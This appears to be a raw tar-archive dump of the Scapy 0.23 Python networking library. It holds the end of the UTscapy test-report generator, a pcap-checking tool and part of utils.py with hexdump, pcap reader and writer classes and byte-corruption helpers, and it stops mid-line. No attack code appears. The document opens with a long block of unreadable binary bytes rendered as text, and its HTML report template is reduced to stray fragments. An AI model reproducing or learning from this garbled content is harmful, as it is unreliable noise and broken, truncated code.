ܽ}^S\#]h,H˗/=ztǎgϞE䮠k>P- e%{fo-=hƖ2!!!e&'5f<0ƺxI).7ڕDbRq贸X,(Z+=oyD\#Rw6]+fD9?_ 鐩WoŸ?ą*A{ՋnKM3WœX>QF$M}f:똸xSxk &2.Q|\=+c\DEEAIY;0(yMFޔ0v<x [UE)kTwb h"SC/Q s 0[3f ƙۋuŕM~ŀmQF, ujn~D i p%F`9f\ B83!uQ?VypgD _YQ8T!Qxt$K3"藺Ũ.SsORi&'\Zs#_ j7dq(*L@|o?USgUyLO޳gjs6/|utxɝsH66}ew~엯bثl2]BxVbq"Фi SA֪(sUBK^B;CFh4_ bi˙-֬kU\= T@0X—J?>`mMX0@ƌ/Z1˔):]^-\26})IEY P8'[u[+Jaٕi.*5rfR[׍{ 7Α%Zxkf_$\M4z>OɲŭǞ7V61o࠱'V~asAv_5%$`* nrWOϟ_>P//A9$`\{ bZ w.(ӀNyGqG8c [=k@4!>A9/}-Krn/#Gȗ/rR% =f{̝=ZDT*'kၘ$=I|"k]gJ(p 3oر_={իWg͚{;w糞={vٲe˜9s6jtwSNrʫW~8o޼ݺuI!!! .ܺuŸ+Wvڵh9Jhh(?~ŋJBeʔnsN!MŪ:(eYb;p}>Dis _4v_>V'.P/*_~޽{SE6Np6lbLN,0qEsL!y|ݿ{#;,,ԔZ(?7rI˗OСCW^0\m(P_~>gΜ/!1ܡ`>ٲE[bŊK(2nnnhPBH;wUV:ǏGlxx8ڲeY(͛7S`zL<ҥK4hL{w^Z hGƍ} k.ٖm۶uRS5:(i4ui[ ۷EzBp9E0"&sfSل]6$tpTgHvX=Ƹ ()RXHf$E֤ucǎICG k7;w:Ο.ʕ+c2i"#i~["""Zዥء!V2dgaMLi~~ʗ.]&Ep=F5#N !TogR֘Ί%IA ]GP͊'mU8ϞddkHL'[6ըQrZ +SHc7.l˰l YrBՂbҦqlV{2RB*i4i*Y8` `:Y`ྃ]T(=c y }1\֙& 'OS˯թu}_;&qAbb5f^V~}&HɓÁ&]L .h/iBGޕ=ې&:DD&r k0%E8cHS___l3zv#iġm\(g8` <s98:pFLPUHw߫/ie@/ošGj˲f6% K``!]tAdBɁwʔ)~i <;p8r>fPZ+WDB Iͬ[NS|Ŧ*W_I1r6ᦃHK.5HH#HNaN~n)kƍHA `-\˷L~9rͽ&U,Z?+[$nml fkO C]dbСCsՖXy!L Ma:gժUC!X097oޔ!dr~ ,!wء]X[1m0W'N0dt"c*JD} V([Ä -ıK3@P#/!Ɣ~f ϕ22xϨ*ɍ Í<#O{8qa|+jw];kD_X!WJ'.yڬXauZK,yiF!b+f\xo vNjڴ4"DEȵc/,-^|DfĤIpt .$XJ+b "l,#%c;:co˒k+aPqLdb>qc ۷~^{te eI7GoqNLf̛?kM`g8g+;O<>v~"HU}[ju̴c=ΎX τk}IX8R)?鱉S Fn 3ূFk=PF^ K Mٔ"E-Ba 0wE>-` ŰGiޑ9Iebc,F$H ᣰ a4ם

%(title)s

Shrink All Expand All Expand Passed Expand Failed

""" % test_campaign if local: External_Files.UTscapy_js.write(os.path.dirname(test_campaign.output_file.name)) External_Files.UTscapy_css.write(os.path.dirname(test_campaign.output_file.name)) output %= External_Files.get_local_dict() else: output %= External_Files.get_URL_dict() if test_campaign.crc is not None and test_campaign.sha is not None: output += "CRC=%(crc)s SHA=%(sha)s
" % test_campaign output += ""+html_info_line(test_campaign)+"" output += test_campaign.headcomments + "\n

PASSED=%(passed)i FAILED=%(failed)i

\n\n" % test_campaign for ts in test_campaign: for t in ts: output += """%(num)03i\n""" % t output += "\n\n" for testset in test_campaign: output += "

" % testset if testset.crc is not None: output += "%(crc)s " % testset output += "%(name)s

\n%(comments)s\n
    \n" % testset for t in testset: output += """
  • \n""" % t if t.expand == 2: output +=""" -%(num)03i- """ % t else: output += """ +%(num)03i+ """ % t if t.crc is not None: output += "%(crc)s\n" % t output += """%(name)s\n """ % t output += "\n
\n\n" output += "" return output def campaign_to_LATEX(test_campaign): output = r"""\documentclass{report} \usepackage{alltt} \usepackage{xcolor} \usepackage{a4wide} \usepackage{hyperref} \title{%(title)s} \date{%%s} \begin{document} \maketitle \tableofcontents \begin{description} \item[Passed:] %(passed)i \item[Failed:] %(failed)i \end{description} %(headcomments)s """ % test_campaign output %= info_line(test_campaign) for testset in test_campaign: output += "\\chapter{%(name)s}\n\n%(comments)s\n\n" % testset for t in testset: if t.expand: output += r"""\section{%(name)s} [%(num)03i] [%(result)s] %(comments)s \begin{alltt} %(output)s \end{alltt} """ % t output += "\\end{document}\n" return output #### USAGE #### def usage(): print("""Usage: UTscapy [-m module] [-f {text|ansi|HTML|LaTeX}] [-o output_file] [-t testfile] [-k keywords [-k ...]] [-K keywords [-K ...]] [-l] [-d|-D] [-F] [-q[q]] [-P preexecute_python_code] [-s /path/to/scpay] -l\t\t: generate local files -F\t\t: expand only failed tests -d\t\t: dump campaign -D\t\t: dump campaign and stop -C\t\t: don't calculate CRC and SHA -s\t\t: path to scapy.py -q\t\t: quiet mode -qq\t\t: [silent mode] -n \t: only tests whose numbers are given (eg. 1,3-7,12) -m \t: additional module to put in the namespace -k ,,...\t: include only tests with one of those keywords (can be used many times) -K ,,...\t: remove tests with one of those keywords (can be used many times) -P """, file = sys.stderr) raise SystemExit #### MAIN #### def main(argv): import builtins # Parse arguments FORMAT = Format.ANSI TESTFILE = sys.stdin OUTPUTFILE = sys.stdout LOCAL = 0 NUM=None KW_OK = [] KW_KO = [] DUMP = 0 CRC = 1 ONLYFAILED = 0 VERB=2 PREEXEC="" SCAPY="scapy" MODULES = [] try: opts = getopt.getopt(argv, "o:t:f:hln:m:k:K:DdCFqP:s:") for opt,optarg in opts[0]: if opt == "-h": usage() elif opt == "-F": ONLYFAILED = 1 elif opt == "-q": VERB -= 1 elif opt == "-D": DUMP = 2 elif opt == "-d": DUMP = 1 elif opt == "-C": CRC = 0 elif opt == "-s": SCAPY = optarg elif opt == "-P": PREEXEC += "\n"+optarg elif opt == "-f": try: FORMAT = Format.from_string(optarg) except KeyError as msg: raise getopt.GetoptError("Unknown output format %s" % msg) elif opt == "-t": TESTFILE = open(optarg) elif opt == "-o": OUTPUTFILE = open(optarg, "w") elif opt == "-l": LOCAL = 1 elif opt == "-n": NUM = [] for v in map( lambda x: x.strip(), optarg.split(",") ): try: NUM.append(int(v)) except ValueError: v1,v2 = map(int, v.split("-")) for vv in range(v1,v2+1): NUM.append(vv) elif opt == "-m": MODULES.append(optarg) elif opt == "-k": KW_OK.append(optarg.split(",")) elif opt == "-K": KW_KO.append(optarg.split(",")) try: from scapy import all as scapy except ImportError as e: raise getopt.GetoptError("cannot import [%s]: %s" % (SCAPY,e)) for m in MODULES: try: mod = import_module(m) builtins.__dict__.update(mod.__dict__) except ImportError as e: raise getopt.GetoptError("cannot import [%s]: %s" % (m,e)) except getopt.GetoptError as msg: print("ERROR:",msg, file = sys.stderr) raise SystemExit autorun_func = { Format.TEXT: scapy.autorun_get_text_interactive_session, Format.ANSI: scapy.autorun_get_ansi_interactive_session, Format.HTML: scapy.autorun_get_html_interactive_session, Format.LATEX: scapy.autorun_get_latex_interactive_session, Format.XUNIT: scapy.autorun_get_text_interactive_session, } # Parse test file test_campaign = parse_campaign_file(TESTFILE) # Report parameters if PREEXEC: test_campaign.preexec = PREEXEC # Compute campaign CRC and SHA if CRC: compute_campaign_digests(test_campaign) # Filter out unwanted tests filter_tests_on_numbers(test_campaign, NUM) for k in KW_OK: filter_tests_keep_on_keywords(test_campaign, k) for k in KW_KO: filter_tests_remove_on_keywords(test_campaign, k) remove_empty_testsets(test_campaign) # Dump campaign if DUMP: dump_campaign(test_campaign) if DUMP > 1: sys.exit() # Run tests test_campaign.output_file = OUTPUTFILE run_campaign(test_campaign, autorun_func[FORMAT], verb=VERB) # Shrink passed if ONLYFAILED: for t in test_campaign.all_tests(): if t: t.expand = 0 else: t.expand = 2 # Generate report if FORMAT == Format.TEXT: output = campaign_to_TEXT(test_campaign) elif FORMAT == Format.ANSI: output = campaign_to_ANSI(test_campaign) elif FORMAT == Format.HTML: output = campaign_to_HTML(test_campaign, local=LOCAL) elif FORMAT == Format.LATEX: output = campaign_to_LATEX(test_campaign) elif FORMAT == Format.XUNIT: output = campaign_to_xUNIT(test_campaign) OUTPUTFILE.write(output) OUTPUTFILE.close() if __name__ == "__main__": main(sys.argv[1:]) scapy-0.23/scapy/tools/__init__.py000066400000000000000000000003651320561231000171420ustar00rootroot00000000000000## This file is part of Scapy ## See http://www.secdev.org/projects/scapy for more informations ## Copyright (C) Philippe Biondi ## This program is published under a GPLv2 license """ Additional tools to be run separately """ scapy-0.23/scapy/tools/check_asdis.py000077500000000000000000000055151320561231000176500ustar00rootroot00000000000000#! /usr/bin/env python import getopt def usage(): print("""Usage: check_asdis -i [-o ] -v increase verbosity -d hexdiff packets that differ -z compress output pcap -a open pcap file in append mode""", file = sys.stderr) def main(argv): PCAP_IN = None PCAP_OUT = None COMPRESS=False APPEND=False DIFF=False VERBOSE=0 try: opts=getopt.getopt(argv, "hi:o:azdv") for opt, parm in opts[0]: if opt == "-h": usage() raise SystemExit elif opt == "-i": PCAP_IN = parm elif opt == "-o": PCAP_OUT = parm elif opt == "-v": VERBOSE += 1 elif opt == "-d": DIFF = True elif opt == "-a": APPEND = True elif opt == "-z": COMPRESS = True if PCAP_IN is None: raise getopt.GetoptError("Missing pcap file (-i)") except getopt.GetoptError as e: print("ERROR: %s" % e, file = sys.stderr) raise SystemExit from scapy.config import conf from scapy.utils import RawPcapReader,RawPcapWriter,hexdiff from scapy.layers import all pcap = RawPcapReader(PCAP_IN) pcap_out = None if PCAP_OUT: pcap_out = RawPcapWriter(PCAP_OUT, append=APPEND, gz=COMPRESS, linktype=pcap.linktype) pcap_out._write_header(None) LLcls = conf.l2types.get(pcap.linktype) if LLcls is None: print(" Unknown link type [%i]. Can't test anything!" % pcap.linktype, file = sys.stderr) raise SystemExit i=-1 differ=0 failed=0 for p1,meta in pcap: i += 1 try: p2d = LLcls(p1) p2 = str(p2d) except KeyboardInterrupt: raise except Exception as e: print("Dissection error on packet %i" % i) failed += 1 else: if p1 == p2: if VERBOSE >= 2: print("Packet %i ok" % i) continue else: print("Packet %i differs" % i) differ += 1 if VERBOSE >= 1: print(repr(p2d)) if DIFF: hexdiff(p1,p2) if pcap_out is not None: pcap_out.write(p1) i+=1 correct = i-differ-failed print("%i total packets. %i ok, %i differed, %i failed. %.2f%% correct." % (i, correct, differ, failed, i and 100.0*(correct)/i)) if __name__ == "__main__": import sys try: main(sys.argv[1:]) except KeyboardInterrupt: print("Interrupted by user.", file = sys.stderr) scapy-0.23/scapy/utils.py000066400000000000000000000770271320561231000154140ustar00rootroot00000000000000## This file is part of Scapy ## See http://www.secdev.org/projects/scapy for more informations ## Copyright (C) Philippe Biondi ## This program is published under a GPLv2 license """ General utility functions. """ import codecs import os,sys,socket,types import random,time import gzip,zlib import re,struct,array,stat import subprocess import ipaddress import warnings warnings.filterwarnings("ignore","tempnam",RuntimeWarning, __name__) from .config import conf from .data import MTU from .error import log_runtime,log_loading,log_interactive, Scapy_Exception from .base_classes import BasePacketList,BasePacket WINDOWS=sys.platform.startswith("win32") ########### ## Tools ## ########### def get_temp_file(keep=False, autoext=""): import tempfile fd, fname = tempfile.mkstemp(suffix = ".scapy" + autoext) os.close(fd) if not keep: conf.temp_files.append(fname) return fname def str2bytes(x): """Convert input argument to bytes""" if type(x) is bytes: return x elif type(x) is str: return bytes([ ord(i) for i in x ]) else: return str2bytes(str(x)) def chb(x): if type(x) is str: return x else: return chr(x) def orb(x): if type(x) is str: return ord(x) else: return x def any2b(x): if type(x) is not str and type(x) is not bytes: try: x=bytes(x) except: x = str(x) if type(x) is str: x = bytes([ ord(i) for i in x ]) return x def sane_color(x): r="" for i in x: j = orb(i) if (j < 32) or (j >= 127): r=r+conf.color_theme.not_printable(".") else: r=r+chb(i) return r def sane(x): r="" for i in x: if type(x) is str: j = ord(i) else: j = i if (j < 32) or (j >= 127): r=r+"." else: r=r+chb(i) return r @conf.commands.register def is_private_addr(x): """Returns True if the IPv4 Address is an RFC 1918 private address.""" paddrs = ['10.0.0.0/8', '172.16.0.0/12', '192.168.0.0/16'] found = False for ipr in paddrs: try: if ipaddress.ip_address(x) in ipaddress.ip_network(ipr): found = True continue except: break return found def lhex(x): if type(x) is int: return hex(x) elif type(x) is tuple: return "(%s)" % ", ".join(map(lhex, x)) elif type(x) is list: return "[%s]" % ", ".join(map(lhex, x)) else: return x @conf.commands.register def hexdump(x): if type(x) is not str and type(x) is not bytes: try: x=bytes(x) except: x = str(x) l = len(x) i = 0 while i < l: print("%04x " % i,end = " ") for j in range(16): if i+j < l: print("%02X" % orb(x[i+j]), end = " ") else: print(" ", end = " ") if j%16 == 7: print("", end = " ") print(" ", end = " ") print(sane_color(x[i:i+16])) i += 16 @conf.commands.register def linehexdump(x, onlyasc=0, onlyhex=0): if type(x) is not str and type(x) is not bytes: try: x=bytes(x) except: x = str(x) l = len(x) if not onlyasc: for i in range(l): print("%02X" % orb(x[i]), end = " ") print("", end = " ") if not onlyhex: print(sane_color(x)) def chexdump(x): if type(x) is not str and type(x) is not bytes: try: x=bytes(x) except: x = str(x) print(", ".join(map(lambda x: "%#04x"%orb(x), x))) def hexstr(x, onlyasc=0, onlyhex=0): s = [] if not onlyasc: s.append(" ".join(map(lambda x:"%02x"%orb(x), x))) if not onlyhex: s.append(sane(x)) return " ".join(s) @conf.commands.register def hexdiff(x,y): """Show differences between 2 binary strings""" x=any2b(x)[::-1] y=any2b(y)[::-1] SUBST=1 INSERT=1 d={} d[-1,-1] = 0,(-1,-1) for j in range(len(y)): d[-1,j] = d[-1,j-1][0]+INSERT, (-1,j-1) for i in range(len(x)): d[i,-1] = d[i-1,-1][0]+INSERT, (i-1,-1) for j in range(len(y)): for i in range(len(x)): d[i,j] = min( ( d[i-1,j-1][0]+SUBST*(x[i] != y[j]), (i-1,j-1) ), ( d[i-1,j][0]+INSERT, (i-1,j) ), ( d[i,j-1][0]+INSERT, (i,j-1) ) ) backtrackx = [] backtracky = [] i=len(x)-1 j=len(y)-1 while not (i == j == -1): i2,j2 = d[i,j][1] backtrackx.append(x[i2+1:i+1]) backtracky.append(y[j2+1:j+1]) i,j = i2,j2 x = y = i = 0 colorize = { 0: lambda x:x, -1: conf.color_theme.left, 1: conf.color_theme.right } dox=1 doy=0 l = len(backtrackx) while i < l: separate=0 linex = backtrackx[i:i+16] liney = backtracky[i:i+16] xx = sum(len(k) for k in linex) yy = sum(len(k) for k in liney) if dox and not xx: dox = 0 doy = 1 if dox and linex == liney: doy=1 if dox: xd = y j = 0 while not linex[j]: j += 1 xd -= 1 print(colorize[doy-dox]("%04x" % xd), end = " ") x += xx line=linex else: print(" ", end = " ") if doy: yd = y j = 0 while not liney[j]: j += 1 yd -= 1 print(colorize[doy-dox]("%04x" % yd), end = " ") y += yy line=liney else: print(" ", end = " ") print(" ", end = " ") cl = "" for j in range(16): if i+j < l: if line[j]: col = colorize[(linex[j]!=liney[j])*(doy-dox)] print(col("%02X" % line[j][0]), end = " ") if linex[j]==liney[j]: cl += sane_color(line[j]) else: cl += col(sane(line[j])) else: print(" ", end = " ") cl += " " else: print(" ", end = " ") if j == 7: print("", end = " ") print(" ",cl) if doy or not yy: doy=0 dox=1 i += 16 else: if yy: dox=0 doy=1 else: i += 16 crc32 = zlib.crc32 if struct.pack("H",1) == b"\x00\x01": # big endian def checksum(pkt): if len(pkt) % 2 == 1: pkt += b"\0" s = sum(array.array("H", pkt)) s = (s >> 16) + (s & 0xffff) s += s >> 16 s = ~s return s & 0xffff else: def checksum(pkt): if len(pkt) % 2 == 1: pkt += b"\0" s = sum(array.array("H", pkt)) s = (s >> 16) + (s & 0xffff) s += s >> 16 s = ~s return (((s>>8)&0xff)|s<<8) & 0xffff def warning(x): log_runtime.warning(x) def mac2str(mac): #return "".join(map(lambda x: chr(int(x,16)), mac.split(":"))) if type(mac) != str: mac = mac.decode('ascii') return b''.join([ bytes([int(i, 16)]) for i in mac.split(":") ]) def str2mac(s): return ("%02x:"*6)[:-1] % tuple(s) def strxor(x,y): #return "".join(map(lambda i,j:chr(ord(i)^ord(j)),x,y)) return bytes([ i[0] ^ i[1] for i in zip(x,y) ] ) # Workarround bug 643005 : https://sourceforge.net/tracker/?func=detail&atid=105470&aid=643005&group_id=5470 try: socket.inet_aton("255.255.255.255") except socket.error: def inet_aton(x): if x == "255.255.255.255": return b"\xff"*4 else: return socket.inet_aton(x) else: inet_aton = socket.inet_aton inet_ntoa = socket.inet_ntoa try: inet_ntop = socket.inet_ntop inet_pton = socket.inet_pton except AttributeError: from scapy.pton_ntop import * log_loading.info("inet_ntop/pton functions not found. Python IPv6 support not present") def atol(x): try: ip = inet_aton(x) except socket.error: ip = inet_aton(socket.gethostbyname(x)) return struct.unpack("!I", ip)[0] def ltoa(x): return inet_ntoa(struct.pack("!I", x&0xffffffff)) def itom(x): return (0xffffffff00000000>>x)&0xffffffff def do_graph(graph,prog=None,format='png',target=None,string=False,options=None, figsize = (12, 12), **kargs): """do_graph(graph, prog=conf.prog.dot, format="png", target=None, options=None, string=False): if networkx library is available and graph is instance of Graph, use networkx.draw string: if not False, simply return the graph string graph: GraphViz graph description format: output type (svg, ps, gif, jpg, etc.), passed to dot's "-T" option. Ignored if target==None target: filename. If None uses matplotlib to display prog: which graphviz program to use options: options to be passed to prog""" from scapy.arch import NETWORKX if NETWORKX: import networkx as nx if NETWORKX and isinstance(graph, nx.Graph): nx.draw(graph, with_labels = True, edge_color = '0.75', **kargs) else: # otherwise use dot as in scapy 2.x if string: return graph if prog is None: prog = conf.prog.dot if not target or not format: format = 'png' format = "-T %s" % format p = subprocess.Popen("%s %s %s" % (prog,options or "", format or ""), shell = True, stdin = subprocess.PIPE, stdout = subprocess.PIPE) w, r = p.stdin, p.stdout w.write(graph.encode('utf-8')) w.close() if target: with open(target, 'wb') as f: f.write(r.read()) else: try: import matplotlib.image as mpimg import matplotlib.pyplot as plt figure = plt.figure(figsize = figsize) plt.axis('off') plt.imshow(mpimg.imread(r, format = format), **kargs) return figure except ImportError: warning('matplotlib.image required for interactive graph viewing. Use target option to write to a file') _TEX_TR = { "{":"{\\tt\\char123}", "}":"{\\tt\\char125}", "\\":"{\\tt\\char92}", "^":"\\^{}", "$":"\\$", "#":"\\#", "~":"\\~", "_":"\\_", "&":"\\&", "%":"\\%", "|":"{\\tt\\char124}", "~":"{\\tt\\char126}", "<":"{\\tt\\char60}", ">":"{\\tt\\char62}", } def tex_escape(x): s = "" for c in x: s += _TEX_TR.get(c,c) return s def colgen(*lstcol,**kargs): """Returns a generator that mixes provided quantities forever trans: a function to convert the three arguments into a color. lambda x,y,z:(x,y,z) by default""" if len(lstcol) < 2: lstcol *= 2 trans = kargs.get("trans", lambda x,y,z: (x,y,z)) while 1: for i in range(len(lstcol)): for j in range(len(lstcol)): for k in range(len(lstcol)): if i != j or j != k or k != i: yield trans(lstcol[(i+j)%len(lstcol)],lstcol[(j+k)%len(lstcol)],lstcol[(k+i)%len(lstcol)]) def incremental_label(label="tag%05i", start=0): while True: yield label % start start += 1 ######################### #### Enum management #### ######################### class EnumElement: _value=None def __init__(self, key, value): self._key = key self._value = value def __repr__(self): return "<%s %s[%r]>" % (self.__dict__.get("_name", self.__class__.__name__), self._key, self._value) def __getattr__(self, attr): return getattr(self._value, attr) def __str__(self): return self._key def __eq__(self, other): #return self._value == int(other) return self._value == hash(other) def __hash__(self): return self._value class Enum_metaclass(type): element_class = EnumElement def __new__(cls, name, bases, dct): rdict={} for k,v in dct.items(): if type(v) is int: v = cls.element_class(k,v) dct[k] = v rdict[v] = k dct["__rdict__"] = rdict return super(Enum_metaclass, cls).__new__(cls, name, bases, dct) def __getitem__(self, attr): return self.__rdict__[attr] def __contains__(self, val): return val in self.__rdict__ def get(self, attr, val=None): return self._rdict__.get(attr, val) def __repr__(self): return "<%s>" % self.__dict__.get("name", self.__name__) ################### ## Object saving ## ################### def export_object(obj): import dill as pickle import base64 return base64.b64encode(gzip.zlib.compress(pickle.dumps(obj,4),9)).decode('utf-8') def import_object(obj): import dill as pickle import base64 # if obj is None: # obj = sys.stdin.read().strip().encode('utf-8') if obj is str: obj = obj.strip().encode('utf-8') return pickle.loads(gzip.zlib.decompress(base64.b64decode(obj))) def save_object(fname, obj): import dill as pickle pickle.dump(obj,gzip.open(fname,"wb")) def load_object(fname): import dill as pickle return pickle.load(gzip.open(fname,"rb")) @conf.commands.register def corrupt_bytes(s, p=0.01, n=None): """Corrupt a given percentage or number of bytes from bytes""" s = bytes(s) s = array.array("B",s) l = len(s) if n is None: n = max(1,int(l*p)) for i in random.sample(range(l), n): s[i] = (s[i]+random.randint(1,255))%256 return s.tobytes() @conf.commands.register def corrupt_bits(s, p=0.01, n=None): """Flip a given percentage or number of bits from bytes""" s = bytes(s) s = array.array("B",s) l = len(s)*8 if n is None: n = max(1, int(l*p)) for i in random.sample(range(l), n): s[i//8] ^= 1 << (i%8) return s.tobytes() ############################# ## pcap capture file stuff ## ############################# @conf.commands.register def wrpcap(filename, pkt, *args, **kargs): """Write a list of packets to a pcap file gz: set to 1 to save a gzipped capture linktype: force linktype value endianness: "<" or ">", force endianness""" with PcapWriter(filename, *args, **kargs) as pcap: pcap.write(pkt) @conf.commands.register def rdpcap(filename, count=-1): """Read a pcap file and return a packet list count: read only packets""" with PcapReader(filename) as pcap: return pcap.read_all(count=count) class RawPcapReader: """A stateful pcap reader. Each packet is returned as bytes""" def __init__(self, filename): self.filename = filename try: if not stat.S_ISREG(os.stat(filename).st_mode): raise IOError("GZIP detection works only for regular files") self.f = gzip.open(filename,"rb") magic = self.f.read(4) except IOError: self.f = open(filename,"rb") magic = self.f.read(4) if magic == b"\xa1\xb2\xc3\xd4": #big endian self.endian = ">" self.reader = _RawPcapOldReader(self.f, self.endian) elif magic == b"\xd4\xc3\xb2\xa1": #little endian self.endian = "<" self.reader = _RawPcapOldReader(self.f, self.endian) elif magic == b"\x0a\x0d\x0d\x0a": #PcapNG self.reader = _RawPcapNGReader(self.f) else: raise Scapy_Exception("Not a pcap capture file (bad magic)") def __enter__(self): return self.reader def __exit__(self, exc_type, exc_value, tracback): self.close() def __iter__(self): return self.reader.__iter__() def dispatch(self, callback): """call the specified callback routine for each packet read This is just a convienience function for the main loop that allows for easy launching of packet processing in a thread. """ for p in self: callback(p) def read_all(self,count=-1): """return a list of all packets in the pcap file """ res=[] while count != 0: count -= 1 p = self.read_packet() if p is None: break res.append(p) return res def recv(self, size=MTU): """ Emulate a socket """ return self.read_packet(size)[0] def fileno(self): return self.f.fileno() def close(self): return self.f.close() def read_packet(self, size = MTU): return self.reader.read_packet(size) def align32(n): return n + (4 - n % 4) % 4 class _RawPcapNGReader: def __init__(self, filep): self.filep = filep self.filep.seek(0, 0) self.endian = '<' self.tsresol = [] self.LLcls = [] self.linktype = None def __iter__(self): return self def __next__(self): """implement the iterator protocol on a set of packets in a pcapng file""" pkt = self.read_packet() if pkt == None: raise StopIteration return pkt def read_packet(self, size = MTU): while True: buf = self._read_bytes(4, check = False) if len(buf) == 0: return None elif len(buf) != 4: raise IOError("PacketNGReader: Premature end of file") block_type, = struct.unpack(self.endian + 'i', buf) if block_type == 168627466: #Section Header b'\x0a\x0d\x0d\x0a' self.read_section_header() elif block_type == 1: self.read_interface_description() elif block_type == 6: return self.read_enhanced_packet(size) else: warning("PacketNGReader: Unparsed block type %d/#%x" % (block_type, block_type)) self.read_generic_block() def _read_bytes(self, n, check = True): buf = self.filep.read(n) if check and len(buf) < n: raise IOError("PacketNGReader: Premature end of file") return buf def read_generic_block(self): block_length, = struct.unpack(self.endian + 'I', self._read_bytes(4)) self._read_bytes(block_length - 12) self._check_length(block_length) def read_section_header(self): buf = self._read_bytes(16) if buf[4:8] == b'\x1a\x2b\x3c\x4d': self.endian = '>' elif buf[4:8] == b'\x4d\x3c\x2b\x1a': self.endian = '<' else: raise Scapy_Exception('Cannot read byte order value') block_length, _, major_version, minor_version, section_length = struct.unpack(self.endian + 'IIHHi', buf) options = self._read_bytes(block_length - 24) if options: opt = self.parse_options(options) for i in opt.keys(): if not i & (0b1 << 15): warning("PcapNGReader: Unparsed option %d/#%x in section header" % (i, i)) self._check_length(block_length) def read_interface_description(self): buf = self._read_bytes(12) block_length, self.linktype, reserved, self.snaplen = struct.unpack(self.endian + 'IHHI', buf) options = self._read_bytes(block_length - 20) tsresol = 6 if options: opt = self.parse_options(options) for i in opt.keys(): if 9 in opt: tsresol = opt[9][0] elif not i & (0b1 << 15): warning("PcapNGReader: Unparsed option %d/#%x in enhanced packet block" % (i, i)) self.tsresol.append(tsresol) try: self.LLcls.append(conf.l2types[self.linktype]) except KeyError: warning("RawPcapReader: unknown LL type [%i]/[%#x]. Using Raw packets" % (self.linktype,self.linktype)) self.LLcls.append(conf.raw_layer) self._check_length(block_length) def read_enhanced_packet(self, size = MTU): buf = self._read_bytes(24) block_length, interface, ts_high, ts_low, caplen, wirelen = struct.unpack(self.endian + 'IIIIII', buf) timestamp = (ts_high << 32) + ts_low pkt = self._read_bytes(align32(caplen))[:caplen] options = self._read_bytes(block_length - align32(caplen) - 32) if options: opt = self.parse_options(options) for i in opt.keys(): if not i & (0b1 << 15): warning("PcapNGReader: Unparsed option %d/#%x in enhanced packet block" % (i, i)) self._check_length(block_length) tsresol = self.tsresol[interface] return pkt[:MTU], interface, (self.parse_sec(tsresol, timestamp), self.parse_usec(tsresol, timestamp), wirelen) def parse_sec(self, tsresol, t): if tsresol & 0b10000000: return t >> (tsresol & ~0b10000000) else: if tsresol == 0: return t // pow(10, 6) else: return t // pow(10, tsresol) def parse_usec(self, tsresol, t): if tsresol & 0b10000000: return (t & (1 << (tsresol & ~0b10000000)) - 1) / pow(2, (tsresol & ~0b10000000)) * pow(10, 6) else: if tsresol == 0: return (t % pow(10, 6)) else: return (t % pow(10, tsresol)) / pow(10, tsresol - 6) def parse_options(self, opt): buf = opt options = {} while buf: opt_type, opt_len = struct.unpack(self.endian + 'HH', buf[:4]) if opt_type == 0: return options options[opt_type] = buf[4:4 + opt_len] buf = buf[ 4 + align32(opt_len):] return options def _check_length(self, block_length): check_length, = struct.unpack(self.endian + 'I', self._read_bytes(4)) if check_length != block_length: raise Scapy_Exception('Block length values are not equal') class _RawPcapOldReader: def __init__(self, filep, endianness): self.endian = endianness self.f = filep hdr = self.f.read(20) if len(hdr)<20: raise Scapy_Exception("Invalid pcap file (too short)") vermaj,vermin,tz,sig,snaplen,linktype = struct.unpack(self.endian+"HHIIII",hdr) self.linktype = linktype try: self.LLcls = [conf.l2types[self.linktype]] except KeyError: warning("RawPcapReader: unknown LL type [%i]/[%#x]. Using Raw packets" % (self.linktype,self.linktype)) self.LLcls = [conf.raw_layer] def __iter__(self): return self def __next__(self): """implement the iterator protocol on a set of packets in a pcap file""" pkt = self.read_packet() if pkt == None: raise StopIteration return pkt def read_packet(self, size=MTU): """return a single packet read from the file bytes, (sec, #timestamp seconds usec, #timestamp microseconds wirelen) #actual length of packet returns None when no more packets are available """ hdr = self.f.read(16) if len(hdr) < 16: return None sec,usec,caplen,wirelen = struct.unpack(self.endian+"IIII", hdr) s = self.f.read(caplen)[:MTU] return s, 0, (sec,usec,wirelen) # caplen = len(s) class PcapReader(RawPcapReader): def __init__(self, filename): RawPcapReader.__init__(self, filename) def __enter__(self): return self def __iter__(self): return self def __next__(self): """implement the iterator protocol on a set of packets in a pcap file""" pkt = self.read_packet() if pkt == None: raise StopIteration return pkt def read_packet(self, size=MTU): rp = RawPcapReader.read_packet(self,size) if rp is None: return None s, i, (sec,usec,wirelen) = rp try: p = self.reader.LLcls[i](s) except KeyboardInterrupt: raise except: if conf.debug_dissector: raise p = conf.raw_layer(s) p.time = sec+0.000001*usec p.wirelen = wirelen return p def read_all(self,count=-1): res = RawPcapReader.read_all(self, count) import scapy.plist return scapy.plist.PacketList(res,name = os.path.basename(self.filename)) def recv(self, size=MTU): return self.read_packet(size) class RawPcapWriter: """A stream PCAP writer with more control than wrpcap()""" def __init__(self, filename, linktype=None, gz=False, endianness="", append=False, sync=False): """ linktype: force linktype to a given value. If None, linktype is taken from the first writter packet gz: compress the capture on the fly endianness: force an endianness (little:"<", big:">"). Default is native append: append packets to the capture file instead of truncating it sync: do not bufferize writes to the capture file """ self.linktype = linktype self.header_present = 0 self.append=append self.gz = gz self.endian = endianness self.filename=filename self.sync=sync bufsz=4096 if sync: bufsz=0 self.f = [open,gzip.open][gz](filename,append and "ab" or "wb", gz and 9 or bufsz) def fileno(self): return self.f.fileno() def _write_header(self, pkt): self.header_present=1 if self.append: # Even if prone to race conditions, this seems to be # safest way to tell whether the header is already present # because we have to handle compressed streams that # are not as flexible as basic files g = [open,gzip.open][self.gz](self.filename,"rb") if g.read(16): return self.f.write(struct.pack(self.endian+"IHHIIII", 0xa1b2c3d4, 2, 4, 0, 0, MTU, self.linktype)) self.f.flush() def write(self, pkt): """accepts a either a single packet or a list of packets to be written to the dumpfile """ if not self.header_present: self._write_header(pkt) if type(pkt) is bytes: self._write_packet(pkt) else: for p in pkt: self._write_packet(p) def _write_packet(self, packet, sec=None, usec=None, caplen=None, wirelen=None): """writes a single packet to the pcap file """ if caplen is None: caplen = len(packet) if wirelen is None: wirelen = caplen if sec is None or usec is None: t=time.time() it = int(t) if sec is None: sec = it if usec is None: usec = int(round((t-it)*1000000)) self.f.write(struct.pack(self.endian+"IIII", sec, usec, caplen, wirelen)) self.f.write(packet) if self.gz and self.sync: self.f.flush() def flush(self): return self.f.flush() def close(self): return self.f.close() def __enter__(self): return self def __exit__(self, exc_type, exc_value, tracback): self.flush() self.close() class 